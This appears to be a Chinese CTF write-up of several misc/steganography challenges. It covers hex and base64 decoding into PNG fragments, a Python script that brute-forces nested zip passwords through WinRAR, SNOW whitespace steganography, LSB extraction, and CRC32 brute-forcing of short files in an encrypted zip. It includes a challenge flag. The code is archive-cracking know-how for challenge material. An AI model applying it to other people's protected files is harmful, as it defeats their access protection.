7a 67 73 44 6a 44 6d 4f 31 4e 37 30 42 55 79 67 6d 44 59 39 45 57 77 59 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 30 6c 45 51 56 52 34 6e 4d 33 51 4d 52 4b 41 4d 41 68 45 30 55 66 47 50 72 6d 42 39 37 38 64 4f 51 45 32 32 6a 6e 59 75 68 58 46 6e 2f 30 41 53 69 62 44 6e 64 64 68 54 36 64 73 47 4b 53 73 37 48 72 69 34 58 70 58 56 65 58 38 32 69 66 43 36 70 67 44 74 57 58 30 50 62 41 2f 58 4f 68 64 41 37 47 30 2f 78 6e 4d 4b 75 31 64 66 38 73 46 57 59 45 57 41 56 7a 58 32 45 4d 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 56 30 6c 45 51 56 52 34 6e 4d 32 51 4d 51 71 41 41 41 77 44 54 33 45 2f 2f 2f 2f 4b 2b 49 49 34 69 43 41 6f 6e 65 33 53 6b 67 51 75 46 48 34 32 52 6d 78 59 62 2b 46 39 6b 45 68 70 70 6b 77 74 6b 53 6d 7a 37 52 7a 75 58 55 61 57 30 57 62 75 59 34 4e 30 79 69 78 65 2b 78 67 37 4e 35 49 76 36 38 45 69 78 4a 47 46 6f 58 35 61 44 78 61 52 5a 76 72 50 43 59 58 58 4a 43 6e 69 50 54 61 79 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 5a 55 6c 45 51 56 52 34 6e 49 57 52 73 51 33 44 51 41 7a 45 2b 49 62 37 38 77 62 5a 66 79 78 76 63 42 76 51 6a 56 4d 6c 30 4b 75 36 67 75 42 42 45 6c 68 41 44 74 37 35 44 52 51 49 48 52 6b 44 7a 65 7a 42 4a 6b 30 6e 4a 6d 4c 64 65 46 4c 4e 37 4a 47 59 5a 50 52 45 4b 55 79 65 34 32 59 46 4e 70 34 53 6e 42 6c 53 39 57 2f 46 4e 79 79 38 62 75 41 61 39 32 70 32 58 53 63 66 36 4a 72 2f 6c 55 59 63 62 2f 67 41 72 73 73 74 73 70 74 67 72 35 63 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 6b 6c 45 51 56 52 34 6e 4d 32 50 73 51 33 41 4d 41 7a 44 6d 44 36 67 2f 6e 2b 6c 63 67 47 37 64 43 76 67 72 4e 58 6b 51 53 43 74 56 62 69 7a 34 65 4c 4e 39 30 41 4d 7a 64 69 4a 53 64 4f 4f 6e 4d 51 36 63 6c 61 42 4c 50 66 45 41 54 57 4d 4c 71 49 35 2f 4b 78 4b 54 74 75 72 5a 6e 51 6c 56 55 66 4f 74 57 47 7a 5a 74 66 50 38 67 42 32 69 79 64 6a 50 33 35 38 6a 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 54 6b 6c 45 51 56 52 34 6e 4d 32 4f 77 52 47 41 4d 42 41 43 4e 7a 5a 77 36 62 39 4b 55 67 46 2b 54 4d 5a 48 46 4a 2f 65 69 7a 6c 32 41 50 6a 5a 53 62 59 46 78 33 78 73 52 47 65 30 74 72 65 57 63 4d 63 4b 7a 4e 43 6a 64 65 75 4b 44 45 49 51 4e 71 4f 79 51 30 35 39 32 4b 4d 4c 65 38 76 42 70 63 51 55 55 74 68 38 41 6c 72 73 47 70 59 46 2f 4a 7a 39 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 59 55 6c 45 51 56 52 34 6e 49 57 50 4d 52 4c 44 51 41 67 44 39 32 37 53 77 2f 39 66 71 62 78 67 30 39 69 70 37 49 4e 4b 4d 77 69 4a 68 57 41 43 6d 32 73 65 68 4e 6a 39 76 4c 6f 46 56 66 68 79 2f 76 63 59 72 58 4d 58 42 54 70 34 78 50 4c 63 39 61 48 57 47 38 34 74 6c 69 74 41 6e 37 73 4d 4e 58 41 56 68 6f 6e 4c 4d 75 65 63 54 66 50 74 49 51 66 44 77 4c 37 54 4f 4f 55 45 38 2f 62 47 4e 54 2f 59 71 53 67 35 59 63 74 78 55 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 44 77 41 41 41 41 38 41 51 41 41 41 41 41 53 68 2b 54 66 41 41 41 41 55 6b 6c 45 51 56 52 34 6e 4d 32 50 77 52 47 41 51 41 77 43 56 78 76 67 4f 72 44 2f 37 72 41 43 2f 4b 67 66 39 66 6a 4b 69 35 6d 51 54 51 41 4c 47 56 5a 4f 50 51 30 4f 7a 6a 79 7a 62 6f 54 78 50 72 6f 35 4d 76 6c 59 76 38 78 69 45 50 75 59 63 6a 42 52 75 35 57 45 30 6b 73 32 4c 68 79 6a 31 68 30 70 74 45 79 43 32 6a 38 2f 30 77 48 48 55 78 37 2b 53 33 30 67 49 77 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d

先是hex解码,再是base64解码,得到png图片,然后foremost分离文件进行拼接

image-20241208154543630

image-20241208154554040

image-20241208125448186

新图片

1
flag{87f2c9a3-2b7e-11ee-be56-0242ac120002}

weakweakweak

嵌套压缩包,密码要么1要么0,这里试了很多,只有命令行的形式成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import subprocess
import os

def extract_zip(zip_file, password):

command = f'C:\\WinRAR\\WinRAR.exe -y x -p{password} "{zip_file}"'
try:
subprocess.run(command, check=True, shell=True)
print(f"解压成功: {zip_file} 使用密码: {password}")
return True
except subprocess.CalledProcessError:
print(f"解压失败: {zip_file} 使用密码: {password}")
return False

def extract_nested_zip(start_zip, max_retries=1000):
zip_count = 1
current_zip = start_zip

while zip_count <= max_retries:
print(f"正在解压: {current_zip}")

if extract_zip(current_zip, 1):
zip_count += 1
current_zip = f"{zip_count}.zip"
elif extract_zip(current_zip, 0):
zip_count += 1
current_zip = f"{zip_count}.zip"
else:
print("解压失败,停止解压")
break

if __name__ == "__main__":
start_zip = "1.zip"
extract_nested_zip(start_zip)

最后的flag.txt为伪加密

image-20241211004108696

1
2
3
4
5
6
7
8
9
10
11
12
13
亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!亲爱的朋友,你要知道,人生就像一场漫长的旅程,途中会有高山险阻,也会有低谷泥泞。但请相信,每一次的挫折都是成长的契机,每一滴汗水都不会被辜负。你就像一颗蕴含着无限能量的种子,虽然现在可能被泥土掩埋,但只要你怀揣梦想,坚持不懈地努力,总有一天你会破土而出,长成参天大树。不要害怕失败,因为失败只是成功路上的垫脚石。你是独一无二的,拥有着战胜一切困难的潜力,勇往直前吧,向着那属于你的辉煌阳光前行!	    	   	 	      	 	 	       	       	     












后半段明显是被隐写了,这里猜测是snow隐写的特点,key是之前的01组合起来解码

1
1111011010000110010001101111011010101110110011101000011010011110101001101110011001110110100001101001011010001110100101101001111010010110000101101100111010100110000101100101111001011100100111101010011011010110011001011100100110100111010111010101110100100111010101010001110100100111000000010001110100100111000001011011110100100111100100011111010100010111010100011000100110100111010101011111000110100111100010010001000101100111010111010001110100100111000001011101100110100111001100010011110111110111010111010101110100100111110101010001000110100111100100011111010100010111010100011000100110100111100000010110010100010111101100010001110100100111111000010001110100100111110000011011000110100111100000010000010111100111011000011111010110100111010101010001110100100111000000010001110100100111000001011011110100100111100110011101110111100111100011010000110110100111100010010001000101100111011000010101110100100111001100011110000110010111100110011111110100010111000011010001000110100111010110011000000110100111

image-20241211005013031

image-20241211005122837

龟?赛跑

一个flag.png一个flag.zip

flag

png是LSB低位隐写

image-20241211005503091

解压后

image-20241211005846756

image-20241211005859142

这里的加密字符串典型的对称加密算法特征

1
U2FsdGVkX1/Nre518Zce8IgLQpPb5qUs+fi4EkIdYzH/1Kra1TaiX8Uo1HUN+Z17Mzs=

由于文件里面内容很少,最多才4字节,又知道CRC,直接CRC爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import zipfile
import binascii
import itertools
import string

def get_zip_info(zip_path):
"""
从zip文件中获取所有文件的信息
"""
with zipfile.ZipFile(zip_path, 'r') as zf:
file_info = []
for info in zf.filelist:
file_info.append({
'filename': info.filename,
'file_size': info.file_size,
'CRC': info.CRC
})
return file_info

def crc32_crack(target_crc, length):
"""
针对特定长度和CRC32值进行爆破
"""
charset = string.printable
target_crc = target_crc & 0xFFFFFFFF

print(f"正在爆破 CRC: {hex(target_crc)}, 长度: {length}")

for guess in itertools.product(charset, repeat=length):
content = ''.join(guess)
if binascii.crc32(content.encode()) & 0xFFFFFFFF == target_crc:
return content

return None

def main():
zip_path = 'key.zip'
file_info = get_zip_info(zip_path)

print("从zip文件中获取的信息:")
for info in file_info:
print(f"文件名: {info['filename']}, 大小: {info['file_size']}, CRC: {hex(info['CRC'])}")

for info in file_info:
result = crc32_crack(info['CRC'], info['file_size'])
if result:
print(f"{info['filename']} 的内容是: {result}")
else:
print(f"{info['filename']} 爆破失败")

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
从zip文件中获取的信息:
文件名: 1.txt, 大小: 4, CRC: 0xf57b8d23
文件名: 2.txt, 大小: 4, CRC: 0x2fcaa491
文件名: 3.txt, 大小: 3, CRC: 0x53c8df25
正在爆破 CRC: 0xf57b8d23, 长度: 4
1.txt 的内容是: doyo
正在爆破 CRC: 0x2fcaa491, 长度: 4
2.txt 的内容是: ufin
正在爆破 CRC: 0x53c8df25, 长度: 3
3.txt 的内容是: dit

image-20241211012255057